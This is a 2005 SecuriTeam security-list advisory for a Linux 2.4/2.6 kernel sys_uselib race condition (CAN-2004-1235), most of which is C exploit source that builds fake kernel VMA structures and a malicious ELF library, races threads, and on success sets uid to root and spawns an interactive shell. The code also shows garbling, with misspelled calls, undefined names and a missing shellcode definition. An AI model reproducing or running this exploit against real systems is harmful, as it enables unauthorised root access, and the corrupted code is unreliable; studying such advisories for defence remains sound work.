

[EXPL] Linux sys_uselib Local Root Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-03/0111.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 03/23/05

To: list@securiteam.com

Date: 23 Mar 2005 12:46:25 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Linux sys_uselib Local Root Exploit

SUMMARY

A Race condition in the `load_elf_library` and `binfmt_aout` function calls for `uselib` in Linux kernel 2.4 through 2.4.29-rc2 and 2.6 through 2.6.10 allows local users to execute arbitrary code by manipulating the VMA descriptor.

DETAILS

Vulnerable Systems:

- * Kernel version 2.4.x (versions prior to 2.4.29-rc2)
- * Kernel version 2.6.x (versions prior to 2.6.10)

Immune Systems:

- * Kernel version 2.4.30
- * Kernel version 2.6.10

CVE Information:

<<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1235>>
CAN-2004-1235

Exploit:

/*

Securiteam: [EXPL] Linux sys_uselib Local Root Exploit

```
* pwned.c – linux 2.4 and 2.6 sys_uselib local root exploit. PRIVATE.
* it's not the best one, the ldt approach is definitively better.
* discovered may 2004. no longer private because lorian/cliph/ihaquer
* can lick my balls.
* (c) 2004 sd
* requieres cca 1gb on fs.
*/

/*
* first create fake vma structs.
*
*
* let's have 3 threads, t1, t2 and t3.
* t1 and t2 have common vm.
*
* t3:
* – wait4sig (will come back from t2)
* – write(fd3, bigmem, bigfile_size)
* – exit()
* t1:
* – fd3 = empty file
* – fd1 = bigfile, writing it took 16 secs
* – bigmem = mmap(NULL, bigfile_size, fd1, 0);
* – t3 = fork()
* – t2 = clone()
* – fd2 = munmap_file, size of ram.
* – mumem = mmap(NULL, munmap_file_size, fd2)
* – mmap(mumem, 4096, ANONYMOUS) // for extending do_brk check
* – mmap lots of vmas
* – close(fd2);
* – create evil lib
* – free lot of vmas
* – sig @ t2
* – evil_lib->do_munmap(mumem + 4096, munmap_file_size - 4096);
* – sem = 1
* – waitpid
* t2:
* – wait4sig
* – sleep(100msec)
* – mmap(mumem, fd3, 4096) // this is being protected by i_sem !
* – sendsig @ t3
* – sleep(100msec)
* – if (sem) error
* – msync(mumem, 8192) – will wait for write() to finish. munmap finishes
by that
* time
* – if (!sem) error
* – if it does return we failed, otherwise shell.
*
*/
```


Securiteam: [EXPL] Linux sys_uselib Local Root Exploit

```
static void time_end()
{
printf("took %lu microseconds\n", gtime() - lt);
}

void core_stat()
{
int s;
char buf[512];
char incore;
unsigned long last = 0;
FILE *f;

sprintf(buf, "/proc/%d/maps", getpid());
f = fopen(buf, "rt");
while (fgets(buf, 512, f)) {
unsigned int from, to;
unsigned int i;

if (sscanf(buf, "%x-%x", &from, &to) < 2)
break;
// printf("%p!%p\n", from, to);
for (i = from; i < to; i += PAGE_SIZE) {
mincore((void *) i, PAGE_SIZE, &incore);
if (incore) {
r;;
if (!last) {
printf("in core 0x%08x-", i);
s = last = i;
continue;
}
if (last + PAGE_SIZE == i) {
// printf("(%p)", i);
last = i;
continue;
}
printf("0x%08x (%d)\n", last + PAGE_SIZE, last + PAGE_SIZE - s);
last = 0;
goto r;
}
if (!last)
continue;
printf("0x%08x (%d)\n", last + PAGE_SIZE, last + PAGE_SIZE - s);
last = 0;
}
}
fclose(f);
}

#define SWAPFILE "TTswap"
#define EATFILES "TTeatfiles"
```

Securiteam: [EXPL] Linux sys_uselib Local Root Exploit

```
#define EATFILE "TTeatfile"
#define SHAREFILE "TTsharefile"
#define DUMMYFILE "TTdummyfile"
#define EATTIME 10
#define LIBFILE "TTlib"

/* number of vma struct fill */
#define VMAFILL 15000

/* how much pages to sync – 2 is enough */
#define NSYNC 2
#define BASE (char *) 0x60000000
#define DBASE (char *) 0x80001000
#define EPAGE (char *) 0x80000000

#define MAPSTEP 64 * 4096

#if 1
#define DEBUG(x...) { printf("%s():", __func__); printf(x); printf("\n");
}
#else
#define DEBUG(x...)
#endif

#define sendsig(pid) kill(pid, SIGUSR1)
#define wait4sig() { while (!gotsig) pause(); gotsig = 0; }

#define PAGE_DOWN(x) (x & ~(PAGE_SIZE-1))
#define PAGE_ALIGN(x) ((x+PAGE_SIZE-1) & ~(PAGE_SIZE-1))

#undef O_DIRECT
#define O_DIRECT 0

struct libimg {
Elf32_Ehdr elf;
Elf32_Phdr ph;
};

struct dentry_struct {
unsigned dummy0, dummy1;
void *inode1, *inode2;
};

struct file_struct {
struct file_struct *next, *prev;
void *dentry;
void *mnt;
void *op;
void *f_mapping[64]; /* somewhere in there is f_mapping on 2.6 */
};
```

Securiteam: [EXPL] Linux sys_uselib Local Root Exploit

```
/* this should roughly cover 2.4* and 2.6* */
struct vma_struct {
void *mm;
unsigned long vm_start;
unsigned long vm_end;
struct vma_struct *vm_next;
unsigned long pgprot;
unsigned long vmflags;
char rb[16];
void *shared_next, *shared_prev;
void *vm_ops;
unsigned long pgoff;
void *file;
void *priv;
};

struct mm_struct {
struct vma_struct *mmap;
void *rb;
struct vma_struct *cache;
void *pgd1;
void *pgd2;
void *pgd3;
/* somewhere there lies the spinlock */
unsigned long locks[32];
};

/* the image of the evil library. */
struct libimg limg = {
{
e_ident: "\177ELF",
e_type: ET_EXEC,
e_machine: EM_386,
e_phoff: sizeof(Elf32_Ehdr),
e_ehsize: sizeof(Elf32_Ehdr),
e_phentsize: sizeof(Elf32_Phdr),
e_phnum: 1
},
{
p_type: PT_LOAD,
p_vaddr: 0,
p_memsz: 0
}
};

static void make_lib(char *name)
{
int libfd = open(name, O_CREAT|O_RDWR|O_TRUNC, 0700);
write(libfd, &limg, sizeof(limg));
fchmod(libfd, 0700);
}
```

```

static char thread_stack[16384];
int fd1, fd2, fd3;
char buf[MAPSTEP];
int notincore;
int t4;
int t3;
int t2;
int bigsize = 0;
char *bigmem = NULL;
int swapsize = 0;
char *swapmem = NULL;
char *base = BASE;
char *vmamem;
int gotsig = 0;
int sem = 0;

#define cleanup() _cleanup(__func__, __LINE__)
void killall()
{
if (t2 != getpid())
kill(t2, SIGKILL);
if (t3 != getpid())
kill(t3, SIGKILL);
if (t4 != getpid())
kill(t4, SIGKILL);
}
void _cleanup(const char *name, int line)
{
printf("cleanup called! from %s:%d\n", name, line);
killall();
unlink(SHAREFILE);
unlink(SWAPFILE);
unlink(EATFILES);
unlink(EATFILE);
unlink(LIBFILE);
_exit(1);
}

#define FAKES_BASE 0x50000000

struct fakes {
int t1;
struct mm_struct mm;
struct vma_struct vma;
struct file_struct file;
struct dentry_struct dentry;
unsigned long mapping24[128];
unsigned long mapping26[128];
unsigned long inode[128];
unsigned long pgd[1024];
void *ptrs[128];

```

Securiteam: [EXPL] Linux sys_uselib Local Root Exploit

```
char shellcode[sizeof(shellcode)];
int t2;
};

struct fakes *fakes = (void *) FAKES_BASE;

/* build the fake vma which msync_interval will get
 * we've to emulate a lot of things!
 */
void build_fakevma()
{
int i;
memset(fakes, 0, sizeof(*fakes));
fakes->vma.vm_end = (unsigned)( base + PAGE_SIZE * 2);
fakes->vma.vm_start = (unsigned)(base + PAGE_SIZE);
/* we need this to let the kernel enter the fs callback we control */
fakes->vma.vmflags = 0xf;
fakes->vma.file = &fakes->file;
fakes->vma.mm = &fakes->mm;

fakes->mm.pgd1 = fakes->pgd;
fakes->mm.pgd2 = fakes->pgd;
fakes->mm.pgd3 = fakes->pgd;
/* there are no pmd's */
memset(fakes->pgd, 0, sizeof(fakes->pgd));
/* initialize potential spinlock on smp */
for (i = 0; i < 32; i++)
fakes->mm.locks[i] = 1;
/* 2.4 goes thru dentry */
fakes->file.dentry = &fakes->dentry;
fakes->dentry.inode1 = fakes->inode;
fakes->dentry.inode2 = fakes->inode;
/* this will be i_sem */
for (i = 0; i < 32; i++)
fakes->inode[i] = 1;
/* and this reference to i_mapping */
for (i = 32; i < 128; i++)
fakes->inode[i] = (unsigned long) fakes->mapping24;

/* 2.6 goes thru f_mapping */
for (i = 0; i < 64; i++)
fakes->file.f_mapping[i] = fakes->mapping26;

/* prepare mmappings for both 2.4 and 2.6 */

/* mapping on 2.6 requires to have ->host defined.
and backing_dev_info pointing to bunch of nonzero memory.
also locked_pages list must point to itself (empty) */
fakes->mapping26[0] = (unsigned long) fakes->inode;
for (i = 1; i <= 3; i++)
fakes->mapping26[i] = 0;
```

Securiteam: [EXPL] Linux sys_uselib Local Root Exploit

```
for (i = 4; i < 16; i++)
fakes->mapping26[i] = (unsigned long) &fakes->mapping26[i];
for (i = 16; i <= 30; i++)
fakes->mapping26[i] = (unsigned long) fakes->ptrs;

/* mapping on 2.4 requires only having mapping consisting of empty lists
*/
for (i = 0; i <= 30; i++)
fakes->mapping24[i] = (unsigned long) &fakes->mapping24[i];
for (i = 23; i <= 30; i++)
fakes->mapping24[i] = (unsigned long) fakes->ptrs;

/* ok, now setup fops->f_sync to our evil fsync */
fakes->file.op = fakes->ptrs;
for (i = 0; i < 128; i++)
fakes->ptrs[i] = fakes->shellcode;
memcpy(fakes->shellcode, shellcode, sizeof(shellcode));
}

void create_fakepage(void *buf)
{
int i;
void *vma = &fakes->vma;
void **p = buf;

for (i = 0; i < MAPSTEP; i += sizeof(void *))
*p++ = vma; /* !!! */
}

static void sighand(int d)
{
gotsig = 1;
}

static int thread(void *d)
{
int t3;
int ret;
int i;

wait4sig();
printf("(sleep1)\n");
usleep(300000);
printf("(sleep1 finished)\n");
printf("trying to mmap back the evil page\n");
for (i = 0; i < VMAFILL; i++) {
if (i == VMAFILL/2)
ret=mmap(swappmem + PAGE_SIZE * 2, PAGE_SIZE,
PROT_READ|PROT_WRITE,MAP_SHARED|MAP_FIXED, fd3, 0);
mmap(vmamem + i * PAGE_SIZE, PAGE_SIZE,
PROT_READ|((i&1)?(PROT_WRITE):(PROT_EXEC)),
```

Securiteam: [EXPL] Linux sys_uselib Local Root Exploit

```
MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
}
swapmem[PAGE_SIZE*2] = 'x';
printf("%p, evil mapped\n",ret);
printf("(sleep2)\n");
if (sem)
cleanup();
sendSIG(t3);
usleep(300000);
printf("(sleep2 finished)\n");
if (sem)
cleanup();
munmap(vmem, VMAFILL * PAGE_SIZE);
printf("doing msync\n");
printf("still doing msync\n");
ret = msync(swapmem + PAGE_SIZE * 2, PAGE_SIZE * 4, MS_SYNC);
printf("finished msync, %d, errno=%d\n", ret, errno);
if (ret == -1 && errno == 123) {
sem = 0;
killall();
printf("y4r3 1uCky k1d!\n");
setresuid(0, 0, 0);
setresgid(0, 0, 0);
execl("/bin/sh", "sh", "-i", NULL);
printf("execve failed %d\n", errno);
}
if (!sem) {
printf(":(\n");
cleanup();
}
_exit(0);
}

int main(int argc, char *argv[])
{
int i, n;
char *dummy = DBASE;

printf("linux kernel msync race condition\nbug discovered by sd,
further research by sd and *****\nthis is development-in-progress code,
redistribution
prohibited!\n=====");

signal(SIGUSR1, sighand);
signal(SIGALRM, sighand);
setbuf(stdout, NULL);

i = open(SHAREFILE, O_CREAT|O_RDWR|O_TRUNC, 0777);

mmap(FAKES_BASE, PAGE_ALIGN(sizeof(*fakes)),
PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED, i,0);
```

```

fruncate(i, PAGE_ALIGN(sizeof(*fakes)));
build_fakevma();
t4 = fork();
if (!t4) {
while (1) {
fakes->t1++;
fakes->t2++;
sched_yield();
}
}
printf("creating fakepage\n");
create_fakepage(buf);
i = open(DUMMYFILE,O_CREAT|O_RDWR|O_TRUNC, 0777);
fruncate(i, MAPSTEP);
write(i, buf, MAPSTEP);
for (n = 0; n < MEMSZ; n += MAPSTEP)
mmap(dummy + n, MAPSTEP, PROT_READ|PROT_WRITE, MAP_SHARED, i, 0);

fd3 = open(EATFILE, O_CREAT|O_RDWR|O_TRUNC, 0777);
fruncate(fd3, 16384);
/* create the source junkfile */
fd1 = open(EATFILES, O_CREAT|O_RDWR|O_TRUNC, 0777);
alarm(EATTIME);
printf("done fakepage\n");
do {
int c;
c = write(fd1, buf, MAPSTEP);
if (c < MAPSTEP)
break;
bigsize += c;
printf("done %d Kb\r", bigsize / 1024);
} while (!gotsig);
printf("\n");
alarm(0);
gotsig = 0;
bigmem = mmap(base - bigsize, bigsize, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_FIXED|MAP_SHARED, fd1, 0);
if (bigmem == MAP_FAILED)
cleanup();

t3 = fork();

if (!t3) {
wait4sig();
printf("starting aggressive write!\n");
write(fd3, bigmem, bigsize);
printf("done aggressive write!\n");
_exit(0);
}

```

Securiteam: [EXPL] Linux sys_uselib Local Root Exploit

```
t2 = clone(thread, thread_stack + sizeof(thread_stack) - 4,
0xf00, NULL);

swapmem = base;
if (mmap(swapmem, PAGE_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_ANONYMOUS|MAP_PRIVATE, 0, 0)
== MAP_FAILED) cleanup();

/* create the swap */
printf("creating swapfile\n");
fd2 = open(SWAPFILE, O_CREAT|O_RDWR|O_TRUNC, 0777);
ftruncate(fd2, MEMSZ);
vmamem = swapmem + MEMSZ + 16*PAGE_SIZE;
// base += VMAFILL * PAGE_SIZE;

printf("vmamem = %p\n", vmamem);
mmap(swapmem + PAGE_SIZE, PAGE_SIZE, PROT_READ|PROT_WRITE,
MAP_SHARED|MAP_FIXED, fd2, 0);
printf("swapmem = %p, swapsize = %d\n", swapmem, 2*PAGE_SIZE);
// getchar();

// munmap(vmamem, VMAFILL * PAGE_SIZE);

write(fd2, dummy, MEMSZ);
close(fd2);

printf("unlink\n");
unlink(SWAPFILE);

// core_stat();

build_fakevma();
send_sig(t2);
limg.ph.p_vaddr = (unsigned) swapmem + PAGE_SIZE;
limg.ph.p_memsz = PAGE_SIZE * 2;
make_lib(LIBFILE);
printf("started uselib\n");
time_start();
uselib(LIBFILE);
// munmap(swapmem + PAGE_SIZE, PAGE_SIZE);
time_end();
printf("uselib finished!\n");
sem = 1;
printf("pid %d\n", getpid());
// core_stat();
n = 0;
n = waitpid(t2, NULL, __WCLONE);
printf("waitpid got %d/%d\n", n, errno);
// killall();
cleanup();
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:sd@fucksheep.org> sd.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.